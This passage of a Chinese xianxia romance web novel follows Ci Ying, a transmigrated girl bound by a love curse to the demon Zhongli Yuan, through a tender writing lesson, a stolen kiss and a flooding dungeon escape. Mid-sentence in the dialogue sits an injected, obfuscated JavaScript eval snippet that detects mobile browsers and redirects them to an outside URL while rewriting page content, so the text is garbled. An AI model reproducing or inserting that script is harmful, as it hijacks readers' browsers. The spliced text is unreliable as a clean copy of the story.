辞盈茫然四顾,喃喃自语:“我要怎么才能回家……到底什么时候才能回家,我不想呆在这里了,多一分钟也呆不下去。” 钟离渊脸色更沉了几分:“你想回水云剑宗?” 辞盈摇头,眼泪扑簌簌地落下来:“我想回家,我自己的家。我根本不是辞盈,也不是什么圣女,我是姜晚啊……为什么要把我扔到这个鬼地方来!” “真是受够了,除了死人就是死人,除了狐妖就是鬼魂,什么剑宗什么除魔卫道,关我屁事啊!我根本不想搅和进来,我只想回家!” 她蹲在树下抱着自己的膝盖,脸埋进臂窝里,嚎啕大哭。 惨死的弟子年轻的脸、竹林的绿意、长安剥的栗子甜香、兰卿望月亮时平静的眼、梅岭温柔的夜色……这些画面在脑海里翻涌,明明都与她无关,心却像被揉碎了似的疼。她像个摔碎了心爱瓷娃娃的孩子,终于在这暂时安全的角落,哭得撕心裂肺。 钟离渊忽然感觉胸口一阵剧痛,相思咒骤然发作,他踉跄着按住心口,喘息得很厉害。 她的每一滴眼泪,都化作利刃扎进他心里——这该死的诅咒,让他永远要被迫承接她的情绪,一分不差。 原来她这样想家。 即便是当初在刑台救下气息奄奄的她时,心口也未曾这样疼过。 “我送你回家。”钟离渊说。 辞盈泪眼婆娑地抬起头,看见钟离渊鲜红的衣襟垂在面前,腰间佩剑被他猛地抽出,塞进她手里,架在他自己颈间。 “杀了我,你立刻能得三千功德。” 钟离渊注视着她,表情依旧淡漠,像在说不相干的事。 “你……怎么了?”辞盈握剑的手冰凉,刚要收回又被他按住,强硬地向上顶了半寸,雪白的皮肤顿时渗出一行血珠,惊得她立刻撒手,佩剑当啷坠地。 “你流血了!”辞盈望着他的脸色,隐隐猜到了原因,“是妖族谱上写什么了?有你母亲的下落?” “有啊。”钟离渊扬起唇角,露出一丝瘆人的笑意,“册上记,蛇妖紫婼随钟离桀私逃,育有一子。后钟离桀被诛,修为尽传于其子,紫婼欲杀之,未遂,自尽殉情。” 辞盈的瞳孔骤然收缩,映出他心如死灰的脸。 “原来我本就该死。”他的笑声冷得打哆嗦,“这世上没人盼着我活,连生我的人都想我死。” 辞盈内心剧烈翻涌着。 三百年被压在漆黑的塔底,支撑他活下去的,除了报仇,便是找母亲的执念。小小的他或许曾日复一日地等,等着母亲来救自己。 等了几年,几十年,几百年,等来的却是这样的真相。 到底什么样的母亲,会想要杀死自己的孩子? “会不会……记载错了?”她勉强挤出一句安慰,却觉得这话在他破碎的眼神里,轻得像尘埃。 “动手。” 钟离渊的眼睛里全是自我厌弃的木然,“辞盈,这条命我不稀罕,送你了,你回家去吧……” 话没说完,他就被一双柔软的手臂紧紧抱住了腰。 少女把脸埋在他怀里,头发蹭着他的下颌,像只受惊的小猫,声音闷闷的:“我盼着你活。” 钟离渊身体一僵: “你不是做梦都想逃?我死了你就自由了。” “你又不是我,别自以为是地替我下定论。”辞盈仰起脸,湿润的眼睛凝视着他:“不管旁人如何看你,对我而言,你是一而再,再而三救我性命的恩人。若有一天你遇险,我愿意以命相酬。” 钟离渊望着少女倔强仰起的脸,那眼里的郑重不像是假装的。他被她这样抱着,胸口的剧痛渐渐缓解了。 “我若沦落成要你舍命去救的废物,那还是死了的好。” “怎么,看不起我?”辞盈挑眉,“说不定哪天我就神功盖世了,你等着抱我大腿吧。” 钟离渊不禁莞尔:“那你不回家了?” “当然要回!这破地方我一天也不想待。”辞盈立刻道,“但功德得慢慢攒。钟离渊,你的命既然给了我,就得听我的,不许糟践。我要你好好活着,在我亲手杀你之前,你绝对不准死。” “记、住、了、吗?”她踮起脚尖瞪着眼,为了增加威慑力,每说一个字就在他肩头狠戳一指头。 对视着,如同有一个世纪之久,钟离渊眼中的淡漠渐渐融化,褪去,取而代之漾开温柔的涟漪。 他终于慢慢张开手臂,轻轻抱住她,呼吸埋在她的发间,声音有些低哑:“你刚才说,你本来不叫辞盈,那叫什么?” 鼻尖呼着热气蹭得痒痒的,她扭了扭脖子:“姜晚。” 花瓣簌簌飘落,有几片沾在他的肩头,她伸手轻轻替他拂去了,腰间的手臂却收得更紧,把她更深地拥入怀中。 “是哪两个字?写给我看。” “好……你先松手。” 钟离渊又恋恋不舍地抱了一会儿才放开,拉着她回房,去书桌前坐了,又抱来一叠宣纸,然后下巴杵在桌面上,直勾勾盯着她。 辞盈:“亲,你在这演希望工程小女孩呢?” 钟离渊无辜眨眼,嗷嗷待哺的样子:“我想学写字。” “你会读不会写?” “嗯。” 辞盈叹气:“还是请个先生吧,不然跟着我学,怕是要写出一手蚯蚓爬。” 她自己的字本就不算好看,写繁体字更是费劲。可钟离渊绕到她身后,耍赖似的缠上来:“我脾气不好,先生若骂我,我就得杀了他,多麻烦。还是阿姐手把手教我好。” “哪有人把杀人说得这么理直气壮。”辞盈无奈,“可我家乡的字和这里不一样,教错了怎么办?” 钟离渊笑着递过笔墨:“那我就只学你的字,不管别人怎么写。” 辞盈用不惯毛笔,姜晚两个字写得歪歪扭扭惨不忍睹,钟离渊却学得十分仔细,一笔一划地描了几十遍,渐渐有了模样,自己打量又嫌弃道:“这笔太软,墨又太稀,怎么写都不好看。” 他嘴里抱怨,手上却不停,照猫画虎地画了一张又一张。 “你的名字更难写吧。”辞盈突发奇想,“不如我送你个英文名?好写多了。”反正简体字他们也看不懂,跟英文也差不多。 “英文名?”钟离渊沉迷写字,头也不抬。 “就是我的家乡话,比这三个字好写多了。”辞盈望着他光泽的银发如月华倾泻而下,“钟离渊,你就叫tony得了。” “托尼?”钟离渊的笔顿了顿,墨汁在纸上晕开一小团,“是什么意思?” 辞盈:“托尼嘛,就是能把头发打理得漂亮飘逸,技术很好的人,我们一般都叫托尼老师。”她提起笔来龙飞凤舞几下,“看,是不是简单多了?” 钟离渊照着临摹几遍,笑道:“果然不错。那你呢,辞盈是水云剑宗赐你的名字吧,你原本英文名叫什么?” 辞盈:“我叫lany——糊不上墙那个lany。” 钟离渊把两个名字工工整整抄在一张纸上,左右看了看,满意点头:“不错,Tony和Lany,听着就像一对。” 辞盈不理他,用砚台边画了几条直线:“初学要在格子里写才工整。” “嗯。”钟离渊侧坐着,一条手臂撑在桌上托着腮,含笑望着她。 窗外下起雨来,灰蒙蒙的天色与湿漉漉的屋檐连成一片,雨滴倾斜着从瓦檐坠落,在青石板上溅起水花。芭蕉叶被雨水打得轻轻颤动,沙沙的声响混着雨声,在寂静的书房显得格外清晰。 墨香混着潮湿的水气在案头氤氲,她低头时,一缕青丝垂落,眼看要落在他写歪的字迹上,钟离渊伸手轻轻接住发丝,动作轻慢地把发丝拢回她耳后。 笔尖一抖,纸上顿时湿作一团。 辞盈的心跳突然乱了节拍,不敢抬头,埋头接着写,字却越发潦草不成章法。对面那人像是看穿了她的窘迫,得寸进尺地用手指蹭过她的耳廓。 窗外的雨声仿佛一下子远了,耳边只剩下自己错乱的呼吸和扑通扑通的心跳。 “啪”地扔掉毛笔,辞盈虚张声势提高声音:“你干嘛!” “很好看——我说字。”钟离渊托着腮,笑得悠闲,“怎么不写了?” “你既不用心学,我不想教了。”辞盈推开椅子要走,手腕却被他拉住。 “我怎么不用心?这满地宣纸都可为我作证。”钟离渊手上力道不轻不重地圈着不让她走,“分明是有人心不在焉,不知道在想什么坏事。” 辞盈欲盖弥彰地睁大眼:“我想什么了?” “让我猜猜。”他似笑非笑地盯着她,眼神里带着戏谑,像是早已把她看穿,“你心不在焉,面泛桃花,你想的那件坏事里,大约有我一份。” 不等她反驳,钟离渊忽然站起来,气势逼人地把她抵在桌边。 他生就一副惊心动魄的容颜,眉如墨画,眼似寒星,微扬的唇角噙着一抹恣意的笑,偏那眸光一转,又透出几分少年独有的桀骜风流: “我又不凶,既想了我,为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101556|195737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何不敢承认,反而要逃跑?” 辞盈想,这样鲜嫩漂亮的少年,本来是不容错过的。 但她实在不喜欢被外力介入甚至控制。一想到对方满腔热情都源于相思咒,瞬间就萎了。 因此,她避开他的灼灼目光:“我没有……” 毫无防备地,他忽然倾身靠近,在她唇畔落下一个轻吻,快如蜻蜓点水,却让她的耳尖“腾”地烧了起来。而始作俑者早已退开半步,眼里噙着得逞的笑意。 辞盈僵在原地,指着他:“你……你……” 钟离渊一脸明知故犯:“嗯?我怎么了?” 你是不是用了什么我不知道的妖法啊魂淡!不过是碰了下嘴唇,怎么心跳得快要炸开,头皮发麻像摸了电门? 辞盈一溜烟逃回卧房。 这货绝对有什么猫腻,不然我怎么还在扑通扑通扑通。 没完没了扑通个什么劲儿啊! 门外传来轻叩声,两下就停了,透着十足的耐心。如果是丫鬟小厮便会隔着门通报一声,所以门外只能是那个搅乱一池春水让她扑通扑通的可恶肇事者。 她连问也不问,抽出佩剑狠狠掷出。 佩剑轻盈锋利,又掼上了十分灵力,嗖地刺穿木门,犹如竹签穿蒸糕毫不费力。 “嚯,阿姐好身手。”门外的声音闲适得很,“换个人怕是要被切成两半,多冤枉。” 辞盈没好气:“除了你还能有谁。” 门外笑道:“既然知道是我,何必浪费灵力。” 辞盈:“我单纯想撒气不行吗?” “自然行。那不如让我进去,由你杀个痛快,好不好?” “有本事你别躲别挡。” “好啊。” 刚穿了个洞的木门这才被推开,钟离渊笑吟吟迈进来,两步就到了近前,指缝间松散地夹着她的佩剑,逗猫似的递过来。 她伸手,那剑柄便向后缩了一截,就在她指尖刚好够不着的位置。再试,又扑空,几下都拿不着,辞盈感觉自己像后花园里扑蝴蝶的蠢猫,怒道:“骗子,把剑还我。” 钟离渊将那剑夹在指间,饶有兴趣地灵活把玩:“不至于吧,亲一下就这么大火气,那我要是直接……” “啊啊啊闭嘴!钟离渊你敢!” 她心虚地瞟了一眼雨幕中的夜色,空寂无人的院子里,芍药花枝在风雨的摧残下战栗着摇摇欲坠,显得楚楚可怜。 窗外又很应景地劈下一串闪电,震得窗棂簌簌发抖,每一次闪烁都照亮他锋利的侧脸和充满侵略性的眼神。 这天气,太适合做坏事了。 他步步向前,逼得她节节败退,直到后背贴住雕花窗棂,退无可退。 他手臂一横,将她困在胸膛与墙壁之间,低头靠近时,灼热的呼吸拂过耳畔。他不急着碰她,像猫捉老鼠似的戏弄、撩拨,直到看见她面如春桃,从锁骨红到眉梢。 视线顺着他利落的下颌线滑到凸起的喉结,那里轻轻滚动了一下,辞盈的心跳瞬间冲上高速。 钟离渊的耳语像羽毛搔过心尖:“你猜我敢不敢,晚晚?” 呼吸骤停。 以前钟离渊也抱过她、扛过她,肢体接触不少,她都没放在心上。可这次,哪怕只是对视,心跳都像要冲出胸膛。 这可不是什么好兆头。 我难道是什么隐藏的斯德哥尔摩人格么? 辞盈在心里骂了句,趁机去握剑柄,可剑身像黏在他指间,纹丝不动。 她扯了两下,才意识到力量悬殊得像蚍蜉撼树。越挣扎越觉得可笑,最后连挣扎的力气都没了,赌气似的放弃了:“随便你吧,想怎么样就怎么样。” 窗外雷雨更密了。 对面却没有进一步动作,只是沉默。 许久,他幽幽地叹了一声:“我也不知道该拿你怎么办。” 那声叹息像一拳打在她心上,莫名的委屈涌上来,她红着眼眶抬头,模糊的视线里,那个漂亮又狠戾的少年皱着眉,像是也被什么困住了。 “别这么看着我。”钟离渊把剑塞回她手里,眼神躲闪着飘向远处。 嗯?辞盈握着剑,有点懵。 “完了。”钟离渊茫然盯着窗外发了会儿呆,突然露出绝望的表情:“我完了。” 辞盈:“啊?” 钟离渊眼眶微红:“我是个彻底的废人了。我看不了你受半点委屈。我真完了。” 辞盈:“……” 相思咒我要给你磕一个。 谁再说这咒损来着,这咒可太好了。 辞盈:“那你以后不许再随便亲我,否则我就会很委屈。” 钟离渊:“……那我委不委屈?” 辞盈:“我管你呢。” 27. 深入地牢 天还没亮,逍遥山庄后院门里半蹲着一个鬼鬼祟祟的身影,老远一看黑咕隆咚姿态怪异,比钟馗还有震慑效果。 她撅着屁股,手里攥着一大串不知从哪摸来的钥匙,正轮流往锁眼里塞。为了不闹出动静,她得一手托着沉甸甸的钥匙串,另一手小心翼翼捏起单只钥匙,轻手轻脚地挨个试。 大概是钟离渊教唆的,这两天,那条鸣蛇总在她院子里晃悠,她一出门,它就拖着庞大的身躯跟在后头,吐着鲜红的信子“斯哈斯哈”地黏着,还像条没骨气的哈巴狗,把光溜溜的蛇头往她跟前凑,非得让她摸两把才肯乖乖盘成一团。哪还有半分神兽的威风,活脱脱一个跟屁虫。 没法子,辞盈只好弄了壶热酒哄它。等鸣蛇醉得像摊烂泥,翻着肚皮在院子里晒月光,她才趁机偷了钥匙溜出来。 可她自己也不知道要往哪逃。 水云剑宗是回不去了,外头不说妖魔鬼怪,虎视眈眈将她视为猎物的修士也不少,按理来说,留在逍遥山庄的确是目前最安全的方案。 可她一想到钟离渊杀人时候冷漠甚至玩味有趣的神情,再想起他对自己过山车一样阴晴不定的态度,时而憎恨厌弃之极,时而又奉如神明,实在很难让人放心地呆在他身边。 谁知道那鬼相思咒保质期究竟有多长? 盒子上又没写保质期,没准儿哪天一觉睡醒就失效了。到时候,恐怕钟离渊会用那双好看的手将她五脏六腑都掏出来,再将肠子绕几圈,扎成个蝴蝶结。 一想到这,她打了个寒颤,手上的动作又快了几分。 时间一点点溜走,眼看天边泛起青白,钥匙试了个遍也没对上。她蹲得腿都麻了,急出一头汗。 寂静中,一只灰毛老鼠贴着墙根“呲溜”蹿过。 辞盈赶紧捂住嘴才没叫出声,条件反射地往后一退。后背撞在墙上的同时,腰眼顶到个硬物,竟然松动了。 是机关! 还没反应过来,脚下就一空。 身体失重下坠,辞盈心中叫苦。不愧是挖坟盗墓专家的老巢,遍地是坑,防不胜防。 好在地道不算太深。她跌入一片伸手不见五指的黑暗里,站起来活动了一下,胳膊腿都没断,便小心翼翼地摸索着两侧冰冷的石壁往前挪。 空气又阴又潮,地面和墙壁倒打磨得光滑平整,可越往前走,空间越矮越窄,到后来她得猫着腰才能挪步。 这地道藏得这么深,里头说不定藏着不少像错金博山炉那样的稀世珍宝。 不知走了多久,就在她犹豫要不要回头求救时,远处洞口隐约透进光来。她耐着性子又走了一阵,眼前豁然开朗。 地道尽头,竟是一座偌大的地牢入口。 地牢长廊又长又暗,黑石板墙上每隔一段架着支火把,勉强能照见人影。走廊头上摆着张八仙桌,牢头正和一个黄衣姑娘对坐喝酒,喝得脸红脖子粗。忽然瞧见辞盈从洞口探出头,一脚在里一脚在外,尴尬得进退两难。 牢头摇摇晃晃拍着桌子站起来,舌头打了结:“什么人!” 辞盈袖里的定身符还没掏出来,黄衣姑娘已经一记手刀砍在牢头后颈。那人身子一僵,“咚”地砸在桌上。 紧接着,姑娘毫不犹豫抽出牢头腰间的长刀,干脆利落地把旁边刚惊醒的另一个看守捅了个对穿。 这心狠手辣的黄衣姑娘转过身,做了个噤声的手势。 那张娇俏脸蛋,玲珑身段,不是白芷又是谁?! 辞盈惊道:“这是哪儿?我师兄呢?” 白芷愣了愣,又把血淋淋的刀抽出来,在牢头咽喉上轻巧一划,悄无声息解决了两人,随即刀尖转向辞盈,警惕地问:“你怎么从这里出来?后面还有谁?” “我后面啊,大概只有鬼吧。”辞盈从洞口钻出来,踩了一脚血,啧啧两声,“真没看出来,你下手够狠的。” 白芷踮脚往她身后的黑洞里望了望,又上下打量她:“你也是来救他的?” 辞盈琢磨着“也”和“他”这两个字,恍然大悟:“你说什么?我师兄被关在这鬼地方了?!” 这地牢终年不见天日,潮气熏得墙壁都发了霉,潮虫满地爬。用脚指头想也知道,牢饭肯定难吃得要命。 自己被关也就罢了,二师兄可是金尊玉贵养大的,住谢家堡都嫌憋屈,哪受过这种罪? 辞盈没心思多问,急道:“他在哪间?先救人再说!” 白芷一脸怀疑,却还是领着她往走廊深处走,只是刀尖始终方寸不移地指着辞盈。 前头的牢房大多空着,越往里走,人声越嘈杂,叫骂声此起彼伏。 有人从囚室门上的送饭小窗看见来的竟然是两个漂亮姑娘,污言秽语立刻没了遮拦。各囚室纷纷推开小窗看热闹,口哨声、调戏声四起,连老远看不清人的囚室也跟着起哄。 “诸位诸位,咱们就算被困在这儿,也不能真把自己当成流氓无赖啊。”尽头的囚室里传来一个清朗的年轻公子声,“都收敛点,别吓着人家姑娘。” 隔壁啐了一口,骂道:“少废话!曹不义那狗贼把我关在这憋死的地方这么多天,别说女人,连条母狗都没见过!好不容易来两个,我过过嘴瘾都不行?” 辞盈听见曹不义的名字,心里大概有了数。 这些年,逍遥山庄和九曜派的东方护法曹不义暗通款曲,一个盗墓拐人,一个找销路变现,干了不知多少缺德事。没想到逍遥山庄的秘密地道竟直通曹不义的地牢,果然是蛇鼠一窝! 又有人笑道:“褚老三,你别吹了!现在放你回家娶媳妇,你敢吗?我可听说,褚家庄最近闹鬼,死了好几对新人,那饿死鬼专挑洞房小夫妻下手,早上起来都成干尸了!” 褚老三骂道:“放屁!老子儿子都能爬树了,用不着再娶媳妇,闹鬼关我屁事!除非外头这两个丫头肯陪我洞房,就算明天被饿死鬼吃了,老子也值了!哈哈哈!” 尽头囚室的公子打断道:“褚老三,你再口无遮拦,等出去了,我就把你赌骰子输给我的事传遍褚家庄,看你丢不丢脸。” 褚老三怒道:“你这装神弄鬼的臭道士,存心使诈骗走我们的店铺田产,连刘麻子家的驴都被你赢走了!又不止我一个人输,凭什么只说我?” 公子又道:“你现在向那两位姑娘道歉,我就把你欠我的赌债一笔勾销。” 褚老三立刻道:“说话算数?这么多人听着呢,你可别反悔!” 旁边囚室也将脸怼到窗口扯着嗓子问:“那我呢?仙长,我的赌债也能一笔勾销吗?” “你们要向外面的姑娘诚心悔过,还要答应我以后出去也不再赌博,那赌债就全免,如果有人再敢口出秽言,我便将他的牛全都拉去水云剑宗后厨去做牛肉面。” 地牢中本就是一群在曹不义所开赌坊里欠了赌债的人,大部分是被关在这里等着家人拿钱来赎,结果在牢里又遇上这么个做局骗钱的,输得裤子都没了,正发愁如何赖账呢,没想到还有这么便宜的事儿,道个歉算什么,哪怕要当场跪下磕头也乐意。 于是各个囚室里的人争先恐后地掀开小窗开始道歉,既不管姑娘在哪,也不管她们能不能听清,总之要把好话说尽,态度极尽卑微谄媚,一口一个姑奶奶,有的直接喊起了祖宗,恨不得隔着铁门给财神爷磕一个。 其实不用等他提到水云剑宗,江羡之刚一开口,辞盈便认出了他,只是听他精神饱满,语气轻快,便没再着急,慢悠悠溜达到走廊尽头,对着唯一一 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那日江羡之在迎春楼地毯式搜索,好不容易找到被五花大绑的白芷,还没来得及逃,就撞上了来办事的曹不义。 原来白芷本是个孤女,因为伶俐可爱被曹不义收养在身边。那曹不义只爱男宠不近女色,这辈子也不能有个一子半女,便将她收为义女。 名义上是女儿,其实跟养只小猫小狗差不多。高兴了赏点玩意儿,不顺心了抬手就打。 白芷偷溜出来惹了祸,见曹不义脸色阴沉,知道少不了一顿毒打,情急之下就把江羡之拉出来挡枪。 天上掉块肥肉砸在嘴边,曹不义心情大好,自然也就宽饶了她。 江羡之见她还闷闷不乐,又温声劝道:“你看,我这不是好好的?有吃有喝,也没饿瘦。何况你现在不是来救我了么?” 白芷紧绷的脸这才舒展开,像朵绽放的娇花。她从小嘴甜,最会拍曹不义马屁,偏偏对着江羡之就爱唱反调:“谁乐意管你?不过看你这么弱,我不来救,你怕是要在这儿吃一辈子牢饭。” 江羡之笃定地笑:“那不可能。我师尊和父亲定然很快就会来救我。我师尊就算让他一只手,也能让曹不义乖乖认错求饶。” “瞧你得意的样子,又不是你自己的本事。”白芷撇嘴。 江羡之道:“我师尊天下第一,我自然要得意。就比如现在白芷姑娘智勇双全地赶来救我,我也要十分得意。” 白芷脸颊生出了胭脂粉,带着少女的娇羞抿嘴浅笑。 趁着他们二人说话的功夫,辞盈已经将这牢房仔细勘察一遍。走廊最里侧墙壁敲出空响,用力推开,却是一道暗门,内里是一间浅室,铁针悬在均匀分成十二方格的圆盘上,每一格内都栩栩如生地绘刻了动物头像,刚好凑成十二生肖。 辞盈转回来,轻咳一声:“那什么……我不是有意搅了二位打情骂俏的雅兴啊,咱们是不是应该先研究怎么离开这?白芷姑娘,我看那牢头跟你都挺熟,这地牢机关你熟吗?” 其他囚室的人早等不及了,扒着囚窗哭嚎:“仙长大慈大悲,待会儿等你出去了,把我们也放了吧!” 江羡之连忙道:“会的会的!诸位稍安勿躁,我水云剑宗向来以侠义著称,绝不会自己逃跑,弃诸位于不顾的。” 辞盈白他一眼,把已经到嘴边的“先救师兄再说”又咽了回去。 真是什么人什么命。 师兄负责睁眼说大话,她负责想办法执行。 白芷道:“我可以试试。” 辞盈犹豫道:“这么多人,一间一间试钥匙恐怕要开到明天。我猜那暗门里就是开锁的总机关。十二分之一的概率,试错了可能会惊动曹不义,你有几分把握?” 28. 舔狗是没有好下场的 圆盘由玄铁铸就,半径足有一臂之长,尖锐的指针稳稳压在正中上方的兽首上。那兽首看着不像狗,圆耳覆着长毛,獠牙外露,倒像是一头蓄势待发的雄狮。 白芷沉吟道:“曹不义野心极大,我曾听他说过,天上地下的瑞兽里,当属龙为至尊。他的座椅、睡床、剑柄、手杖,就连衣袍上都暗绣了龙纹。” 她的目光落在那条金鳞怒张的神龙图案上,似在与它心灵感应一般,片刻后道:“以我对他的了解,龙所在之处,必不寻常。” “有道理。”江羡之应声,“那就选龙吧。” “对对!选龙!” 众人连忙附和,心里都打着同一个主意:管它对不对,先试了再说。反正曹不义发现了也不能把所有人都宰了,要杀也是杀劫囚的。 白芷的手已触到指针,又回头看他:“万一我选错了呢?” 江羡之答:“选错了还有我呢。” “你?”白芷一愣,“你能怎样?” “我能陪你一起挨揍啊。”江羡之笑道。 “咔嚓——”金属齿轮转动的声音响起,像一根无形的线,瞬间将辞盈的心提到了嗓子眼,她浑身紧绷,连呼吸都放轻了。 指针旋转着,如同悬在头顶的利剑,随时可能倏然落下。终于,它稳稳停在了龙头处。 高手御敌,靠的往往不是眼力,而是对未知危险的预判。若非要等明枪暗箭到了眼前才想起抵挡,迟早会被戳成筛子。这种近乎未卜先知的本事,既需深厚修为,也离不开对战经验和敏锐的第六感。 或许是之前墨让尘强灌的修为,今日才真正与身体相融化为己用了,辞盈的直觉竟然空前灵敏。 指针靠近龙头的一刹那,她被头顶上锐利的肃杀之气一激,浑身的汗毛都竖立起来,甚至连脑子也来不及过,条件反射抽出佩剑! “唰唰”两下,游刃有余地挡下了一排极速射下的弓箭。 辞盈的佩剑是墨让尘所赠。看着平平无奇,连个名字也没取,却是锋利无匹,且剑柄轻便小巧,即使臂力较弱也能运用自如,像是为她量身定制一般。 转瞬间,第二波弓箭已经杀到眼前,箭头莹莹泛着绿光,显然淬了毒。 江羡之紧张得握紧了拳头,连叫声都带了颤音:“小心!” “当啷”一叠脆响,弓箭带着遒劲的力道堪堪擦过轻薄如纸的剑身,深深插入地面石板。 辞盈身轻如燕,身手敏捷地接下了射向她和白芷的三波弓箭,惹得一众围观囚徒们高声叫好。 “想不到这姑娘身手比脸蛋还俏,水云剑宗果然名不虚传!” “姑娘可曾许了人家?我乃是姑苏城内赫赫有名的贾家二公子,待我出去之后便派人去水云剑宗提亲可好?” 辞盈头也没回,将奉承和追捧都当成个屁,依旧素手横剑,警惕地环顾四周,提防随时可能再度来袭的暗箭。 江羡之抚了抚胸口,长舒一口气,认真道:“你俩快走吧,我在这里吃香喝辣挺好的。小盈,你快回水云剑宗求救,这机关实在凶险,千万别再试了。” “不行!” 却是辞盈和白芷异口同声,两人惊诧地对视了一眼。 辞盈翻了个白眼道:“师兄,若救不了你,我连水云剑宗的门也进不去。” 白芷微有怒色:“呆子,你不信我?” 江羡之无奈,轻叹一声:“我信我信。那机关里保不齐什么可怕的毒蛇猛兽都有,你这一下只放出区区三排弓箭,还排除了一个错误答案,已经很厉害了。” …… 辞盈:“二师兄,舔狗是没有好下场的。” 白芷脸上乌云稍霁,歪着脑袋盯着圆盘思索片刻,又道:“曹不义有洁癖,生平最厌恶猪类肮脏不堪,连猪肉也不吃。他既然不愿释放众人,大概会将这总闸设为他最厌弃的动物。” “大概?”辞盈忽然有一股不好的预感。 话音未落,指针已经开始转动,那猪头立着耳朵,眼睛圆似绿豆,表情呆憨懵懂恰如此刻的辞盈。 墙上的暗门陡然一动,就要合拢,辞盈眼疾手快地推出一掌,用力将沉重的石门格挡住,谁知暗室内两侧的墙壁竟也动了,齐齐向中间挤压过来! 若是逃出暗室,就再也碰不到圆盘;若留在里面,眼看就要被夹成肉饼。石壁移动的速度不算快,却带着刻不容缓的阵势压迫过来。 辞盈只能调动修为,将浑身气力聚于双臂,左右手各撑一面墙,吃力地从牙缝里挤出话:“白芷你到底行不行啊,干脆别分析了随便试吧!” “这可是你说的!”白芷也慌了神,胡乱一拨,指针转到了红冠长尾鸡的图案上。 辞盈推墙的手臂因为蓄力太久开始不受控的哆嗦,脸都憋红了:“石壁还在收拢,门锁也没开,这鸡什么意思?凑数的吉祥物吗?” 白芷却道:“嘘,你听,什么声音?” “我听个屁啊,手快断了。”辞盈话没说完,果真听到了哗啦啦的水声。 她几乎以为自己眼花了,眼前雪白一片,竟是汹涌的波涛,如海浪般滚滚而来,地牢转眼间成了一片汪洋,囚室众人纷纷惊慌失措。 “救命啊!我不会游泳!” “会游泳也没用,待会儿地牢灌满水,咱们都得死!” 地牢中顿时鬼哭狼嚎,乱作一团。 辞盈暗自腹诽:果然出门得看黄历,白芷这手气怎么比她还差! “再换!”辞盈咬牙道,“反正都这样了,还能更糟吗?” 白芷也横下心,闭眼用力一转指针。 “开了!门开了!” 所有囚室的铁门齐刷刷地分开,湍急的水流从外面灌注进来,片刻不停,很快便淹没到腰间。 有人试图从地道入口逆流而上,却被翻涌的浪涛迅速打翻吞没。众人只能随波逐流地被推向地牢更深处,一不小心便撞在石壁上,头破血流。 白芷身量娇小,水流几乎要没到胸口。江羡之勉力游到她身边,将她托举起来,神情真诚,甚至带了点儿崇拜:“你果然做到了,我就知道你可以。” 辞盈眼角抽搐了一下:“师兄,那我呢?” 江羡之转过来,板起脸:“你不太听话了!让你回去禀明师尊求救,你偏不听,非要逞强,受伤怎么办?” …… 好好好,终究是我错付了。 辞盈白眼翻到天花板上,对着含情脉脉的二人道:“狗粮可以等出去之后随便撒,把我杀了给二位助兴都行。眼下怎么办?这水看着好像没有要停的意思,不会真的灌满地牢吧?” 江羡之道:“曹不义关这些人是为了换钱又不是为了结怨,全淹死了对他有什么好处?” 白芷摇头:“不一定。他就是个疯子,高兴了怎样都行,发起狠来根本不计后果。” 江羡之心疼地望着白芷:“他如此心狠手辣,你在他身边这么多年,不知受了多少苦。” 辞盈:“……” 我这不值钱的便宜师兄……谁来把这俩没心没肺的打一顿扔出去好吗。 水快淹没胸口时,江羡之终于想起该干点正事。他口中念诀,手上掐咒,一道蓝光直冲石壁。 “砰”的一声,地牢微微震动,墙上却只掉了几块碎石,连道像样的裂纹都没有。 “砰!” “砰!” “砰砰砰!” 不是,哥,你这打碟呢? 他又集中法力试了几次,终于叹道:“好像不行,这里在地下深处,土层太厚,我打不穿。” 水势越来越急,地牢上方只剩极窄的空间可以呼吸。开始有人将身边的人用力按入水中,借此让自己能漂浮起来。 火把早已熄灭,漆黑的地牢陷入一片死气沉沉的绝望,呼救声渐渐变小,唯有拍打水面的声音在耳边提醒着众人,死亡越来越近。 白芷声音颤抖:“我们大概真的要死在这里了,早知道就不来救你了。” “对不起。”江羡之道,“是我连累了你们。” 辞盈犹豫着叹气:“我有个办法或许能逃生。只是这样一来,尊严也没了,自由也没了,还显得我十分厚脸皮。” “什么办法?”江羡之急忙道,“小姑奶奶,都这时候了,你的脸 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因久处黑暗,乍见的天光晃得睁不开眼,她湿漉漉地跌坐在一片废墟中,用手遮住双眼,从指缝里窥见红衣银发的少年,踏着破晓的晨光阔步而来。 她有一瞬间恍惚,分不清那耀眼的光芒是来自天空还是眼前人。 待他走近些,辞盈才看到他血肉模糊的右手,以及眼中肆意燃烧的怒火。 钟离渊走到她面前,蹲下身,脸色铁青得像要吃人。他用另一只干净的手,狠狠捏住她的下巴,声音冷冽得前所未闻: “你是不是只有快死了,才会想起我?” 辞盈在颠簸中灌了一肚子冷水,只觉得胸口发痒,浊气上涌,一张口,全呕在了他的手腕上,随即剧烈地咳嗽起来。 钟离渊皱着眉松了手,在她背上轻轻顺了几下。等她终于喘匀气,他又问:“为什么要逃跑?我是不是得把你绑起来,你才肯乖乖留在我身边?” 辞盈在逍遥山庄撬门时,曾暗自下定决心:既然要拒绝别人的示爱,就不能再随意利用对方。以后就算被一百只黑熊精追着打,也要自己想办法解决。 果然,flag不能乱立。 没想到打脸来得这么快。她鬼鬼祟祟又信心满满地出发,才几个时辰,就不得不以如此狼狈的姿态向他求救,当真是丢脸丢到家了。 面子反正已经没了。辞盈在诚信和活命之间权衡了不到半秒,果断抛弃节操,开始毫无负担地信口胡诌:“没有没有,我怎么舍得离开你呢?我就是来救二师兄,又不想麻烦你亲自出马。结果你猜怎么着?嗨,我还真是没你不行。” “你看看这么多人,那边那个大哥让水泡得煞白,跟发面馒头似的,这都多亏了你。是你救了大家,你就是我们的救命恩人,再生父母啊。” “你们这些人都泡傻了是不是,还不快谢谢我们英勇帅气举世无双的大恩人?” 